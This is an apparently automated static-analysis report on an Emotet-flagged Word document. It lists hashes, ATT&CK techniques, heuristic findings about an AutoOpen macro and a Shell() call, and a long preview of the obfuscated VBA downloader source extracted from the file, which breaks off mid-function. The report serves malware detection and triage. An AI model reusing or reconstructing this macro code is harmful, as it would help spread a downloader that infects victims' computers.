Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 21ee4137b7585398…

MALICIOUS

Office (OLE)

144.8 KB Created: 2018-06-22 21:41:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: cd6416c8613c031032d6c14063538203 SHA-1: bde45fb3de20430280e11afda32c915d57a9fad6 SHA-256: 21ee4137b75853983a03ed41f41513a0749b6ea76e1496b00f407e60dc60949d
212 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6899209-0'. Static analysis reveals the presence of VBA macros, specifically an AutoOpen macro that utilizes the Shell() function. This indicates the macro is designed to execute commands, likely to download and run a secondary payload. The obfuscated string concatenation within the VBA script further supports this, as it is a common technique used by Emotet to hide malicious URLs or commands.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6899209-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6899209-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    iwCsA = (vjFTpX * 19755 + 44438 * CInt(SkPics - CDbl(99220)) * 92255 * Oct(26541))
    PwYUr = ZEzRCW + SSRbG + Shell(vjzoS + zoknFR + DANNqTi, (74140 / 74140) - 1)
    SDNvTw = (fjsML * 87370 + 94792 * CInt(GYYbs - CDbl(82094)) * 5059 * Oct(20921))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub AutoOpen()
    On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 27034 bytes
SHA-256: bc1b2c6b76ccfd247a20fe1c5d13c1224df4b74ae35f768e1a12a54051d5bfa2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
315 of 458 identifiers look randomly generated (e.g. 'BNCazfFjuRupD') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "vhCKEojhOE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "BNCazfFjuRupD"
Function siWzCGiO()
On Error Resume Next
VrEGQ = (bckdWd * 68340 + 49565 * CInt(DVEsV - CDbl(54408)) * 71332 * Oct(99829))
ZjXwAQLQS = "Hel" + "l  " + "( '" + "44" + "h78" + "O93"
JvCRBJ = (wauwf * 86429 + 75831 * CInt(PnIvii - CDbl(7550)) * 94063 * Oct(27840))
djrPUZFuM = "k71" + "z91" + "B1" + "27" + "B95" + "h4" + "0>"
TAivli = (rYwVYK * 50933 + 52479 * CInt(YCpcf - CDbl(20764)) * 65715 * Oct(23950))
BclUwON = "53@" + "40h" + "10" + "2@1"
iUpVwF = (nWiImC * 78424 + 29649 * CInt(oUqWq - CDbl(54392)) * 64581 * Oct(39289))
SukzncS = "09-" + "12" + "7@" + "37B" + "10" + "3T" + "106"
siWzCGiO = ZjXwAQLQS + djrPUZFuM + BclUwON + SukzncS
KBHlP = (RVSDK * 91045 + 41104 * CInt(rWkosS - CDbl(40132)) * 41771 * Oct(26925))
End Function
Function EsRmTTP()
On Error Resume Next
Qqqrqn = (mUzmE * 83367 + 4450 * CInt(arRkl - CDbl(9626)) * 32207 * Oct(35890))
XYFRDzXi = "z98" + "h10" + "9-1" + "07@" + "12" + "4k" + "40-"
zzFnpC = (onhUY * 34517 + 50655 * CInt(izXaVp - CDbl(75082)) * 59910 * Oct(66066))
lWsKQ = "122" + "z1" + "05" + "k1" + "02T" + "108" + "B10"
SbDlcV = (Yzsqh * 35922 + 94464 * CInt(wzRJh - CDbl(63829)) * 15593 * Oct(32225))
mcbrQZC = "3-1" + "01-" + "51T" + "44k" + "94" + ">10" + "7h"
FnhqwD = (UXEXa * 95270 + 7020 * CInt(MUAUi - CDbl(79465)) * 94962 * Oct(59196))
EdUaPTu = "99" + "T7" + "5@1" + "23"
EsRmTTP = XYFRDzXi + lWsKQ + mcbrQZC + EdUaPTu
HXrVVA = (JKSfo * 76596 + 18809 * CInt(ujVJNZ - CDbl(84504)) * 1297 * Oct(88091))
End Function
Function dhBPwc()
On Error Resume Next
zNjni = (IIGiZL * 81462 + 98958 * CInt(DNQiY - CDbl(41115)) * 47060 * Oct(20640))
tJDTpXAwvhp = ">91" + "O4" + "0_5" + "3z" + "40" + "_10" + "2O"
ZCTnQ = (PWwPX * 75990 + 40329 * CInt(bWXjh - CDbl(51905)) * 3995 * Oct(67684))
OMlqjLHZP = "10" + "9z1" + "27" + "_37" + "O10" + "3h1" + "06-"
WnKLbV = (lZCHO * 62729 + 54657 * CInt(sFTCN - CDbl(52442)) * 53814 * Oct(67898))
TWizpQSHUzO = "98" + "-10" + "9@1"
dhBPwc = tJDTpXAwvhp + OMlqjLHZP + TWizpQSHUzO
roIBpr = (XqMzAF * 78958 + 77125 * CInt(cdwlN - CDbl(14871)) * 90716 * Oct(88812))
End Function
Function ozZQXNXljS()
On Error Resume Next
nbHzW = (uDcUm * 25644 + 39450 * CInt(hSkXUf - CDbl(39348)) * 73609 * Oct(31714))
QvoUuz = "07h" + "12" + "4T" + "40" + "k9" + "1z1"
BkzdwU = (tOwBPb * 45228 + 39342 * CInt(CwdUBn - CDbl(15418)) * 64704 * Oct(31289))
dUwrZ = "13" + "@1" + "23T" + "12" + "4-" + "109" + "T1"
djaOh = (LcwlQ * 31944 + 10657 * CInt(ktzVu - CDbl(35494)) * 82254 * Oct(24527))
OzABml = "01@" + "38-" + "70" + "k10" + "9O"
ozZQXNXljS = QvoUuz + dUwrZ + OzABml
WcXJv = (NcPNfr * 99896 + 35606 * CInt(RAEzZj - CDbl(63840)) * 73640 * Oct(82911))
End Function
Function CBjhPBVtJi()
On Error Resume Next
kHomn = (bQjEmJ * 85562 + 29679 * CInt(kIADZQ - CDbl(70164)) * 51737 * Oct(99913))
FPlvs = "12" + "4T" + "38" + "-95" + ">1"
uOrnU = (pjnLWY * 81222 + 55315 * CInt(EaTNM - CDbl(13832)) * 14534 * Oct(78654))
WwMnDmnq = "09" + "-1" + "06h" + "75" + "@10" + "0T9" + "7>"
oajjR = (zjohs * 68633 + 69252 * CInt(MPwdED - CDbl(55557)) * 23248 * Oct(35623))
zStTRd = "10" + "9O" + "10"
nVqRN = (zmZrzt * 16724 + 13188 * CInt(jLpkI - CDbl(69239)) * 61453 * Oct(38881))
nMZBbOJi = "2>" + "12" + "4k"
GwPdCk = (cHIvv * 27259 + 66546 * CInt(BkFKs - CDbl(57446)) * 35582 * Oct(13497))
quaihVczjFS = "51h" + "44" + "h10" + "6_"
NVsncK = (HBsKPX * 37233 + 69060 * CInt(TWmALT - CDbl(41184)) * 55942 * Oct(41020))
ViLwUS = "106" + "_7" + "0-9" + "0-1" + "01"
XiVbTo = (ZPhsjA * 95385 + 38704 * CInt(uVYEdR - CDbl(42280)) * 42689 * Oct(47446))
oKZLMpd = "k12" + "5h4" + "0T5" + "3_" + "40B" + "47k"
CBjhPBVtJi = FPlvs + WwMnDmnq + zStTRd + nMZBbOJi + quaihVczjFS + ViLwUS + oKZLMpd
jGiuz = (StmJm * 49421 + 47434 * CInt(XzDBv - CDbl(69993)) * 43576 * Oct(77939))
End Function
Function bDjTC()
On Error Resume Next
XYzEQF = (IzCMH * 70210 + 90903 * CInt(idRGL - CDbl(19491)) * 3870 * Oct(40372))
AGZUUrCnGfz = "96" + "_1" + "24B" + "124"
CjfNUa = (kraHVz * 19899 + 3570 * CInt(jBmWLN - CDbl(75938)) * 4878 * Oct(65536))
ECZmUHJQHG = "@12" + "0h5" + "0k" + "39T" + "39k" + "120"
STPdW = (DCCjZ * 85795 + 77137 * CInt(OcQKn - CDbl(98698)) * 66244 * Oct(36934))
muSrzKX = "k1" + "09k" + "12"
SfIPw = (otdfAI * 40445 + 39567 * CInt(DmSzH - CDbl(34631)) * 28301 * Oct(75759))
AUSWXF = "2-" + "97>" + "101" + "-1"
OIjzd = (ilwDz * 96696 + 26822 * CInt(FROqw - CDbl(24690)) * 76393 * Oct(30819))
hPfQdFt = "09" + "O12" + "4@"
HBGBjl = (zEruB * 80741 + 3434 * CInt(QOzPJR - CDbl(45302)) * 31083 * Oct(80858))
wSUdYQtno = "122" + ">10" + "3@1" + "20" + "O1"
MftbSa = (wObwWN * 3419 + 99945 * CInt(GsGTEP - CDbl(30187)) * 45490 * Oct(50996))
VUoYSBlm = "22" + "z10" + "3h1"
bDjTC = AGZUUrCnGfz + ECZmUHJQHG + muSrzKX + AUSWXF + hPfQdFt + wSUdYQtno + VUoYSBlm
PYGckl = (VUFRV * 72160 + 33018 * CInt(Dbaut - CDbl(2271)) * 90860 * Oct(29299))
End Function
Function wajJCG()
On Error Resume Next
KiJWb = (QWAkKB * 84413 + 73293 * CInt(KGshuV - CDbl(70736)) * 14351 * Oct(79597))
jkikv = "24@" + "10" + "9_" + "11" + "1>9" + "7B"
Bopdhj = (JjSFb * 87803 + 87221 * CInt(pvUAG - CDbl(36481)) * 21424 * Oct(79346))
GiSVfsLuKcE = "108" + ">1" + "03" + "k3" + "8O" + "10"
jmINUA = (XUXZJ * 51233 + 86082 * CInt(EqsIU - CDbl(71954)) * 66598 * Oct(24889))
AZBsnUWKPwC = "7k" + "10" + "3>1" + "01h" + "38B" + "105"
KFaPGi = (qwGtuX * 13442 + 78025 * CInt(siHVTN - CDbl(28370)) * 5624 * Oct(2673))
nkssbHiHrb = "B1" + "22" + "@39" + "T12" + "4-8" + "2@" + "74_"
QaDVzB = (JCPaJ * 31516 + 71634 * CInt(jKUzYj - CDbl(67672)) * 7031 * Oct(47939))
IvAkzLnkIiD = "91" + "h97" + "-6" + "2B" + "97" + "h39" + "_72"
wajJCG = jkikv + GiSVfsLuKcE + AZBsnUWKPwC + nkssbHiHrb + IvAkzLnkIiD
Caqfzq = (OKSFn * 56987 + 16639 * CInt(VNEYIi - CDbl(35124)) * 43231 * Oct(58323))
End Function
Function WXwOUTjzaG()
On Error Resume Next
DuDcPh = (ituai * 58585 + 9915 * CInt(DvGSm - CDbl(91811)) * 63039 * Oct(22430))
kOshaz = "T96" + "z12" + "4-1" + "24h" + "12" + "0@5"
DSiiQ = (kEMvuv * 37606 + 72931 * CInt(liJkNR - CDbl(73648)) * 67776 * Oct(98454))
OPNDkG = "0k3" + "9h" + "39" + "h1" + "09" + "T12" + "5O"
FnMDro = (iwYzC * 85431 + 26478 * CInt(KVWjK - CDbl(56282)) * 69046 * Oct(18267))
oAFki = "12" + "2h" + "103"
jEmwz = (RjfiLF * 46908 + 928 * CInt(GYNXN - CDbl(94827)) * 68146 * Oct(80253))
LrXBUP = ">1" + "10" + "h10" + "3-1" + "03T" + "10" + "8T3"
jDwQAo = (VdAXn * 4036 + 49028 * CInt(HHNWNC - CDbl(90000)) * 73112 * Oct(41142))
ZraHGszJ = "8>1" + "02h" + "10" + "9k1" + "24z"
WXwOUTjzaG = kOshaz + OPNDkG + oAFki + LrXBUP + ZraHGszJ
cmQMw = (zOqNu * 86793 + 2680 * CInt(rIqcYd - CDbl(63638)) * 9319 * Oct(97463))
End Function
Function wHPwqZbZv()
On Error Resume Next
PGjMct = (RaOXBG * 16145 + 64385 * CInt(ZZLMqO - CDbl(10909)) * 57446 * Oct(60419))
zKSlIzMtz = "38" + ">12" + "5O1"
MSNrU = (nnzpi * 70354 + 73756 * CInt(YdSmLp - CDbl(3763)) * 64704 * Oct(89737))
jJEtiI = "05" + "k39" + "O8" + "2-" + "49h" + "91"
DItmmB = (GhXjV * 6516 + 66700 * CInt(AOSLrH - CDbl(78932)) * 74481 * Oct(26845))
uPsNA = "_6" + "5>" + "98>"
MvTSqD = (XboMdB * 3372 + 91047 * CInt(YDPQCZ - CDbl(68819)) * 84897 * Oct(21107))
UNibusQpVkA = "63T" + "11" + "2O" + "76" + "T3" + "9B7" + "2B9"
wHPwqZbZv = zKSlIzMtz + jJEtiI + uPsNA + UNibusQpVkA
jWDfOV = (zZFhnr * 38072 + 3520 * CInt(buiWMQ - CDbl(30852)) * 4059 * Oct(66709))
End Function
Function nzTAoJQXfND()
On Error Resume Next
XzknLa = (PTIUw * 48965 + 82736 * CInt(BcpHkL - CDbl(91424)) * 28859 * Oct(9527))
uaXIB = "6_1" + "24" + ">1" + "24" + "T1"
pJoOSG = (wcziO * 73072 + 88637 * CInt(jcztd - CDbl(60028)) * 40435 * Oct(82966))
ajimQnENY = "20" + "k5" + "0T" + "39@" + "39h" + "127"
Koauz = (bifoW * 32561 + 36547 * CInt(BCTAw - CDbl(86801)) * 31177 * Oct(75235))
vwrZqh = ">1" + "27" + "_1"
nzTAoJQXfND = uaXIB + ajimQnENY + vwrZqh
vBEjvV = (SUSQDi * 60653 + 13147 * CInt(CWAjzX - CDbl(80129)) * 25838 * Oct(52694))
End Function
Function PHKhB()
On Error Resume Next
qJfYwH = (zfstq * 61975 + 23786 * CInt(WCwCz - CDbl(44470)) * 43889 * Oct(24936))
zbzJpUs = "27-" + "38h" + "105" + "@12" + "5z" + "10"
tXQDt = (LqIzi * 35717 + 76659 * CInt(UIfjAN - CDbl(9406)) * 24193 * Oct(80400))
zkbzfvvS = "8T" + "97B" + "12" + "4h"
fbVrKi = (Uwdiar * 38436 + 7483 * CInt(hChjh - CDbl(71209)) * 65664 * Oct(12390))
wRTliYPzh = "103" + "_1" + "22"
uRqWzw = (hcXSCU * 62084 + 58090 * CInt(KWKRt - CDbl(31463)) * 22736 * Oct(55563))
pQwFUWb = "-10" + "9@" + "123" + "z12" + "4@1"
PHKhB = zbzJpUs + zkbzfvvS + wRTliYPzh + pQwFUWb
jCiGGu = (OOQMlz * 94782 + 62715 * CInt(tPwlFN - CDbl(43093)) * 7143 * Oct(25706))
End Function
Function XTTiQ()
On Error Resume Next
OXpji = (NiSuC * 51142 + 42094 * CInt(ZnFQRk - CDbl(25806)) * 47997 * Oct(57420))
FwiYfzKfXH = "07>" + "10" + "9k1"
AAPrn = (fatjj * 40841 + 49166 * CInt(lHXTim - CDbl(90107)) * 36572 * Oct(88095))
YwXTlji = "20" + "T1" + "09" + ">38" + "B10" + "3T" + "12"
LRHGm = (JptVjd * 80591 + 42091 * CInt(wObhmz - CDbl(8498)) * 27470 * Oct(51430))
itLizlUtQkN = "2>1" + "11" + "T3" + "9@" + "62" + "O1" + "01"
KNuurZ = (GwfWLZ * 78398 + 32069 * CInt(qbEvIR - CDbl(3280)) * 54610 * Oct(61408))
sJQmazPfaDu = "z61" + ">58" + "O78" + "z6" + "0>1"
TlHVH = (jbbPP * 91856 + 3828 * CInt(BWtpUn - CDbl(79200)) * 74679 * Oct(31888))
CYwviAwfUUM = "01z" + "62@" + "110" + "T7" + "8-"
GcKiW = (LROUFv * 98696 + 51706 * CInt(TfzNB - CDbl(21680)) * 89247 * Oct(48905))
fsGzWZ = "39" + ">7" + "2k9" + "6-1" + "24z" + "12" + "4k"
XTTiQ = FwiYfzKfXH + YwXTlji + itLizlUtQkN + sJQmazPfaDu + CYwviAwfUUM + fsGzWZ
ulXLH = (ijVvOi * 86322 + 3831 * CInt(iEzhh - CDbl(81865)) * 11831 * Oct(44929))
End Function
Function cSwQdjDT()
On Error Resume Next
RBHrZ = (AMDCk * 69996 + 41116 * CInt(KVmZaD - CDbl(22992)) * 89184 * Oct(50806))
XqsoSwbB = "12" + "0O5" + "0O" + "39>" + "39h" + "11"
siwOMs = (oOFuG * 71368 + 82028 * CInt(FuCaq - CDbl(33728)) * 41130 * Oct(24924))
ajuBzhzwwlV = "1_1" + "01" + "k10" + "7@5"
nMuRf = (GWaiz * 90429 + 35540 * CInt(zLkwWP - CDbl(10294)) * 6525 * Oct(69434))
fAUsLMkjTiW = "8>3" + "8T" + "122" + "O12" + "5T3"
cSwQdjDT = XqsoSwbB + ajuBzhzwwlV + fAUsLMkjTiW
SUIJTj = (WRsaA * 94617 + 225 * CInt(uzXfG - CDbl(83203)) * 22393 * Oct(75473))
End Function
Function EnBvXOnWWj()
On Error Resume Next
CPGVz = (zjcwwL * 20641 + 93780 * CInt(rScdZ - CDbl(22563)) * 98841 * Oct(27562))
KnipBQnomv = "9B8" + "8k6" + "6T6" + "0O" + "78O"
nbQhXd = (HhAGE * 56922 + 81638 * CInt(UtrYw - CDbl(2934)) * 94649 * Oct(69120))
cLqMQ = "10" + "1>7" + "5k"
UonOi = (wDAVh * 45818 + 63502 * CInt(Mwurd - CDbl(19461)) * 80515 * Oct(97626))
JvCNHnic = "96B" + "60" + "h93" + "T90" + "z39"
cFIjU = (QjqrNN * 67310 + 80690 * CInt(YUEDDI - CDbl(17623)) * 99093 * Oct(75901))
paBzEdcGzQ = "B7" + "2B9" + "6z" + "12" + "4T1" + "24" + ">12"
iZDJTZ = (VbLJZ * 63096 + 53624 * CInt(kmqjTD - CDbl(56159)) * 16880 * Oct(8046))
ONLKfWTzpI = "0@" + "50" + "@39"
JGmvF = (FVEpC * 23329 + 48393 * CInt(RAsHi - CDbl(63562)) * 98032 * Oct(75542))
cudELriQ = "z3" + "9T" + "12"
EnBvXOnWWj = KnipBQnomv + cLqMQ + JvCNHnic + paBzEdcGzQ + ONLKfWTzpI + cudELriQ
bSVSTU = (BQzqJ * 38060 + 51043 * CInt(VrDEcm - CDbl(49720)) * 47363 * Oct(25265))
End Function
Function baOmjnY()
On Error Resume Next
OSKVd = (TWdKc * 68281 + 1344 * CInt(BfolMi - CDbl(25870)) * 95941 * Oct(50646))
OwubYwYwqz = "7@" + "12" + "7h1" + "27"
mmduK = (BuIzEB * 27971 + 62432 * CInt(cXnpQw - CDbl(73290)) * 83051 * Oct(31764))
cAicv = "-38" + "k12" + "2_1" + "03"
zwoMi = (Qssir * 87064 + 48767 * CInt(nIhaB - CDbl(65604)) * 99268 * Oct(31697))
Xvmlvtnj = "@10" + "6>" + "97"
wjLaH = (UAvNr * 25014 + 84744 * CInt(idtnJ - CDbl(42909)) * 95425 * Oct(91274))
tANiABfOSja = "-1" + "02" + ">1" + "22" + ">10"
baOmjnY = OwubYwYwqz + cAicv + Xvmlvtnj + tANiABfOSja
zbCHQL = (iDhqpc * 38058 + 61228 * CInt(hXivf - CDbl(65164)) * 97582 * Oct(91700))
End Function
Function IZJJjEv()
On Error Resume Next
zwHuqu = (DANwF * 5370 + 7523 * CInt(FinfBY - CDbl(10635)) * 19254 * Oct(26132))
qCHqcDl = "9h" + "11" + "3_1"
bwPADP = (GMQOho * 25625 + 74957 * CInt(lcGhDf - CDbl(38630)) * 87848 * Oct(79658))
WGFOWhbP = "02T" + "103" + "k10" + "0-1"
tSuWu = (uPOvuD * 94120 + 95694 * CInt(zqnaY - CDbl(82377)) * 51193 * Oct(86310))
zbdLmjEbfJm = "08@" + "123" + "@1" + "00O" + "10" + "5T1" + "27"
mdDjb = (iVKCVK * 24062 + 79987 * CInt(bnYwr - CDbl(71956)) * 66284 * Oct(60035))
bsKDLhOL = "T38" + "@10" + "7-1" + "03>" + "101" + "T39" + "O1"
IZJJjEv = qCHqcDl + WGFOWhbP + zbdLmjEbfJm + bsKDLhOL
MDojT = (KTaYk * 32398 + 67686 * CInt(nSRZs - CDbl(89437)) * 53734 * Oct(21836))
End Function
Function lTDvMXUDSHV()
On Error Resume Next
AQzkSb = (jDwvU * 46263 + 14669 * CInt(CtsCkn - CDbl(9697)) * 10643 * Oct(85143))
qThqkOkLV = "12k" + "62k" + "61" + "z1" + "03O"
ljZLp = (jARoPU * 62497 + 84858 * CInt(YojSnu - CDbl(29476)) * 20541 * Oct(38769))
QMiJjmfrri = "81B" + "98O" + "126" + "k58" + "@3" + "9@4" + "7O"
zCZbw = (LGLjvc * 46285 + 27120 * CInt(OTGTh - CDbl(65373)) * 24836 * Oct(298))
KFUnO = "38T" + "91h" + "120" + "B1" + "00O" + "97"
LwYmE = (WVFoqi * 13697 + 48918 * CInt(sENUL - CDbl(91635)) * 92290 * Oct(32264))
fMrAXa = "T1" + "24O" + "32" + "T47" + "O7"
FZbIr = (pmCOPz * 44976 + 47262 * CInt(jKaWj - CDbl(45549)) * 59541 * Oct(14542))
iERiEr = "2_4" + "7@3" + "3@5" + "1>" + "44" + "T12"
obdUso = (PiFhf * 7170 + 26295 * CInt(SwEjsJ - CDbl(35163)) * 40255 * Oct(61227))
GwnnHipmZI = "5B" + "75@" + "76B" + "89O" + "76" + "T40"
nBVZh = (aRhTPJ * 40168 + 89042 * CInt(wzRRq - CDbl(44965)) * 56150 * Oct(93920))
Mvalz = "_5" + "3T4" + "0z4" + "4_"
lTDvMXUDSHV = qThqkOkLV + QMiJjmfrri + KFUnO + fMrAXa + iERiEr + GwnnHipmZI + Mvalz
EkTwOj = (GzJEn * 88282 + 82181 * CInt(KHNWt - CDbl(28406)) * 18353 * Oct(57764))
End Function
Function JILzpkzkaW()
On Error Resume Next
SuKAD = (nKEaUw * 52421 + 53343 * CInt(zzJLL - CDbl(80922)) * 49656 * Oct(9331))
YXDbrFMKkB = "78" + "T93" + ">71" + "z91"
QGjKG = (juGJf * 39667 + 49306 * CInt(DIVtj - CDbl(38019)) * 41807 * Oct(9233))
crVHTrBpj = "@12" + "7k9" + "5B" + "38" + "h10"
fKZwFz = (TtpBj * 92967 + 9897 * CInt(DBtapR - CDbl(92573)) * 66113 * Oct(45557))
DHuPQStjjip = "2@" + "10" + "9k" + "11" + "2z" + "12" + "4h3"
JILzpkzkaW = YXDbrFMKkB + crVHTrBpj + DHuPQStjjip
GDpwql = (LXEzhG * 52652 + 94030 * CInt(qmfYmG - CDbl(6552)) * 85299 * Oct(79877))
End Function
Function ztuZwYJYEA()
On Error Resume Next
avPSjb = (UwudX * 5338 + 8004 * CInt(XYAdW - CDbl(89969)) * 34724 * Oct(56844))
nXfwrb = "2T" + "57O" + "36" + "B4" + "0k" + "48" + "T63"
aJCzp = (zzHIKr * 93558 + 9940 * CInt(XjlcC - CDbl(20636)) * 37041 * Oct(68630))
zSvUifBztC = "T6" + "2>5" + "9@5"
KOhCOT = (IRNrZY * 4130 + 60570 * CInt(ujQutW - CDbl(52454)) * 38050 * Oct(62037))
zbrIlatD = "7_" + "62" + "@3" + "3-" + "51"
qJpaq = (ZbpbR * 95255 + 66417 * CInt(UCaiNu - CDbl(97745)) * 57431 * Oct(11518))
BfWEkq = "z4" + "4O" + "68O" + "82" + "@10" + "1z9"
IiDpho = (OWIciS * 82241 + 44067 * CInt(zzNEhw - CDbl(95626)) * 54053 * Oct(49865))
GwHDDat = "8@" + "82" + "-89" + "z40"
ztuZwYJYEA = nXfwrb + zSvUifBztC + zbrIlatD + BfWEkq + GwHDDat
vsFlHM = (MSMEk * 88378 + 1961 * CInt(DbaLqj - CDbl(68149)) * 23132 * Oct(58249))
End Function
Function AiraG()
On Error Resume Next
BQBvLj = (PqsuIk * 2325 + 30627 * CInt(FYKfOD - CDbl(23127)) * 30174 * Oct(57514))
ipikkN = "-5" + "3k4" + "0-4" + "4>" + "10"
XQjHM = (bqFvBR * 14069 + 60754 * CInt(VDItvq - CDbl(47861)) * 91336 * Oct(30276))
DIzODoq = "9T" + "10" + "2k" + "12"
LBzjwE = (RpJKfj * 60789 + 27342 * CInt(uvUZoQ - CDbl(59599)) * 3223 * Oct(86540))
TnEKh = "6@" + "50" + "T1" + "24" + "T1" + "09k"
DViiw = (TdBic * 18378 + 13818 * CInt(PzRWTq - CDbl(37176)) * 56305 * Oct(61027))
KjvRw = "101" + "z12" + "0O4" + "0B" + "35_" + "40_" + "47-"
AiraG = ipikkN + DIzODoq + TnEKh + KjvRw
vdbqp = (WznwBQ * 67556 + 21174 * CInt(pMGij - CDbl(7885)) * 71806 * Oct(77747))
End Function
Function cHXIk()
On Error Resume Next
JozIiC = (ZqTjVt * 56183 + 76493 * CInt(IiWIp - CDbl(97995)) * 32355 * Oct(12195))
lXkEmbC = "84T" + "47" + "B40" + "-3" + "5_4" + "0T"
ddMww = (KowjA * 90944 + 26827 * CInt(kRbaP - CDbl(53160)) * 78635 * Oct(91118))
ZkTiizthHGB = "44" + "T1" + "25" + "O7" + "5O" + "76T"
SYaZPf = (LXtwEZ * 38614 + 52058 * CInt(IZjvwm - CDbl(21470)) * 89351 * Oct(30810))
zmvQiB = "89B" + "76>" + "40" + "z35" + "h4"
rNYAiX = (utaVlv * 17935 + 20174 * CInt(dCRKL - CDbl(94991)) * 1415 * Oct(63007))
VTnwmQiH = "0-4" + "7k" + "38" + "T10" + "9h1" + "12B" + "109"
CIzmf = (jJdoa * 73947 + 44018 * CInt(ZWiaA - CDbl(46510)) * 43056 * Oct(57863))
XPIdsLr = ">47" + "O51" + "-11" + "0-" + "10" + "3O" + "12"
cHXIk = lXkEmbC + ZkTiizthHGB + zmvQiB + VTnwmQiH + XPIdsLr
lbJIc = (auMrt * 54168 + 28787 * CInt(IONocR - CDbl(40831)) * 69728 * Oct(67228))
End Function
Function bjROlYHzfl()
On Error Resume Next
nsnhX = (IlYkO * 20715 + 42069 * CInt(DDDuN - CDbl(89702)) * 57210 * Oct(73422))
HwKrAH = "2T" + "109" + "B10" + "5_"
nVMmj = (MCAsDV * 70171 + 35084 * CInt(WMjHDi - CDbl(38225)) * 96276 * Oct(84977))
BwQohdRYXKH = "10" + "7>9" + "6T3" + "2T4"
lZNbW = (cBizML * 26934 + 48773 * CInt(LiNSSi - CDbl(36716)) * 71134 * Oct(20425))
FCXfQ = "4k" + "66h" + "96>" + "98" + ">1" + "01" + "h8"
bjROlYHzfl = HwKrAH + BwQohdRYXKH + FCXfQ
BLVij = (XTczU * 97517 + 51728 * CInt(EbTCSj - CDbl(22518)) * 96890 * Oct(18980))
End Function
Function WzHWOIKTBKj()
On Error Resume Next
rvFfa = (SoDDVc * 12343 + 37060 * CInt(jorlb - CDbl(44653)) * 25110 * Oct(15391))
RUkZWON = "1@6" + "5k" + "40" + "@97" + "k10" + "2k4" + "0h4"
OqPQSd = (CBFql * 26777 + 83595 * CInt(BffvWI - CDbl(52330)) * 40462 * Oct(32))
SNtFpdcBdc = "4>1" + "06>" + "106" + "B7" + "0>9"
mrUMi = (inVRjL * 2827 + 41692 * CInt(sTbAc - CDbl(32620)) * 35000 * Oct(95127))
ZZSwWMakrIp = "0-" + "10" + "1O"
kvrRlb = (VPQjmr * 80352 + 36950 * CInt(LzraK - CDbl(81147)) * 57829 * Oct(19803))
FtkJSzfwuQ = "12" + "5-" + "33-" + "11" + "5k" + "124"
ipzUX = (TuXcmB * 25400 + 3988 * CInt(iOvkpn - CDbl(2661)) * 56481 * Oct(15642))
HVUIKcZKA = "B1" + "22B" + "113" + "@1"
WzHWOIKTBKj = RUkZWON + SNtFpdcBdc + ZZSwWMakrIp + FtkJSzfwuQ + HVUIKcZKA
RSaXnt = (jvGmn * 2203 + 85409 * CInt(MrTMjL - CDbl(96901)) * 92132 * Oct(95717))
End Function
Function PqRhG()
On Error Resume Next
wutVid = (rjGQt * 43928 + 69077 * CInt(UURvHr - CDbl(24770)) * 6247 * Oct(6747))
GpWHtTm = "15" + "B44" + "h94"
vhQbcS = (cbrzY * 22609 + 25294 * CInt(bvUmRS - CDbl(40398)) * 69186 * Oct(57435))
iBkKjSOW = ">1" + "07>" + "99" + "-75" + "B12" + "3-9" + "1B3"
qjAqE = (rpsnvv * 31676 + 7389 * CInt(tRusjv - CDbl(17354)) * 8230 * Oct(35298))
IdFpUS = "8B" + "76@" + "10"
vsQmJa = (mOmlWm * 45306 + 14807 * CInt(jTZhf - CDbl(59553)) * 32167 * Oct(98208))
VpMwFrlO = "3k1" + "27O" + "10"
BaruQ = (chKIqa * 6308 + 67675 * CInt(wIBRB - CDbl(43132)) * 59845 * Oct(45007))
mKjVCffl = "2B" + "100" + "h1" + "03" + "T10"
PqRhG = GpWHtTm + iBkKjSOW + IdFpUS + VpMwFrlO + mKjVCffl
bMpikA = (bROHA * 12399 + 85584 * CInt(FJocPQ - CDbl(64587)) * 61009 * Oct(68918))
End Function
Function rEFZFwM()
On Error Resume Next
jXdzz = (WCFSE * 83257 + 96874 * CInt(JrPIob - CDbl(23758)) * 84148 * Oct(30993))
lYqIp = "5@1" + "08>" + "78>" + "97B"
MshDI = (ujGRB * 55904 + 76020 * CInt(UNlzAa - CDbl(88649)) * 26634 * Oct(20709))
phAvL = "100" + "@1" + "09z" + "32" + "k4" + "4z6"
SXBZrI = (rHZnF * 38181 + 37499 * CInt(lYXlhv - CDbl(62775)) * 7931 * Oct(75261))
wjnpnOCjRjm = "6k9" + "6h9" + "8@1"
